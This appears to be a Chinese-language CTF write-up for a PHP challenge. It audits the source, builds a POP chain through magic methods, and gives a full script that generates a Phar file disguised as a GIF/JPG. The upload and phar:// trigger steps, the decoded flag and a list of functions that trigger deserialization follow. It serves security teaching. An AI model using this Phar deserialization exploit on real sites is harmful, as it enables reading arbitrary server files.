题目入口

打开题目是一个 Bootstrap 导航栏,有三个页面:首页、查看文件、上传文件。页面底部有一个注释 <!--flag is in f1ag.php-->,提示 flag 在 f1ag.php 中。

查看文件的链接是 file.php?file=,参数为空,猜测存在文件包含漏洞。

源码审计

先尝试直接读 file.php 的源码,在 ?file=file.php 中看到它引入了 function.phpclass.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// file.php
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}

核心逻辑:通过 Show 对象的 _show() 方法来展示文件。继续读 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// class.php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}

再看看 function.php 中的上传逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// function.php 核心逻辑
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
}

function upload_file_check() {
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
// ...
}

代码分析

  1. _show() 方法的过滤:正则 /http|https|file:|gopher|dict|\.\.|f1ag/i 阻止了直接读取 f1ag.php,常规的 php://filter 伪协议也会因为 file_exists() 检查失败而无法使用。

  2. __construct 中的注释//$this->source = phar://phar.jpg,强烈暗示了 Phar 协议的方向。

  3. Test 类中的 file_get():直接调用 file_get_contents() 读取任意文件并用 base64_encode() 返回,没有任何过滤,是整个攻击链的终点。

  4. 上传限制:只检查后缀名,不检查文件内容,可以上传任意内容的 .jpg / .gif / .png 文件。这正好可以上传 Phar 文件。

  5. 文件名规律md5(原始文件名 . 客户端IP) . ".jpg",可预测。

POP 链分析

从终点往起点倒推:

步骤 方法 触发条件 作用
终点 Test::file_get() __get() 调用 读取任意文件,base64 返回
4 Test::__get('source') 访问不存在的 source 属性 调用 get('source')$params['source'] 设为目标文件
3 Show::__toString() 对象被当作字符串 $this->str['str']->source 触发 Test 的 __get
2 C1e4r::__destruct() 对象销毁 echo $this->test 触发 Show 的 __toString
起点 Phar 反序列化 phar:// 协议解析 触发 __destruct 启动整条链

完整调用链:

1
2
3
4
5
6
7
8
phar://upload/xxx.jpg
→ 反序列化 C1e4r 对象
→ 销毁时调用 C1e4r::__destruct()
→ echo Show 对象 触发 Show::__toString()
→ $this->str['str']->source 触发 Test::__get('source')
→ Test::get('source') 调用 file_get('/var/www/html/f1ag.php')
→ base64_encode(file_get_contents('f1ag.php'))
→ 输出 base64 编码的源码

构造 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}

class Test
{
public $file;
public $params;
}

// 搭建 POP 链
$test = new Test();
$test->params = array('source' => '/var/www/html/f1ag.php');

$show = new Show();
$show->str = array('str' => $test);

$c1e4r = new C1e4r();
$c1e4r->str = $show;

// 创建 Phar 文件,伪装成 GIF
@unlink("payload.phar");
@unlink("payload.jpg");
$phar = new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c1e4r);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

rename("payload.phar", "payload.jpg");

运行前需要关闭 phar.readonly

1
php -d phar.readonly=0 gen_phar.php

利用过程

  1. 上传 payload.jpg(后缀 .jpg 通过扩展名检查),上传后文件路径为 upload/md5(payload.jpg + IP).jpg

  2. 通过 file.php?file=phar://upload/<hash>.jpg 触发 Phar 反序列化

  3. POP 链自动执行,页面返回 f1ag.php 的 base64 编码内容

  4. 解码得到 flag:

1
PD9waHAgDQoJLy8kYSA9ICdmbGFnezcyODkzNmNiLWUxMTUtNDIyOS1iOTliLTE3ODFjNzc2NDdiMn0nOw0KID8+DQoNCg==

解码后:

1
2
3
<?php
//$a = 'flag{728936cb-e115-4229-b99b-1781c77647b2}';
?>

总结

这道题考察的知识点:

  • PHP 文件包含漏洞与常见过滤的绕过
  • Phar 反序列化的原理与利用条件(phar:// 协议 + file_exists 等文件操作函数触发)
1
2
3
4
5
6
7
8
9
10
11
以下文件传入phar://任何文件 可以触发phar反序列化

文件存在性检查​​ file_exists(), is_file(), is_dir(), stat()

​​文件内容读取​​ file_get_contents(), fopen(), readfile()

​​文件信息获取​​ filesize(), filectime(), filemtime()

​​目录操作​​ fileatime(), scandir(), opendir()

​​其他文件操作​​ unlink(), copy()
  • POP 链的构造思想——从危险函数(file_get_contents)倒推,利用各种魔术方法(__destruct__toString__get)串联调用链
  • 上传功能的扩展名绕过(黑名单不严 + 内容不检查)

Phar 反序列化的关键在于:只要有一个能操作文件的函数(file_existsfile_get_contentsinclude 等)的参数可控,且 Phar 文件能被上传到服务器,就能触发反序列化漏洞。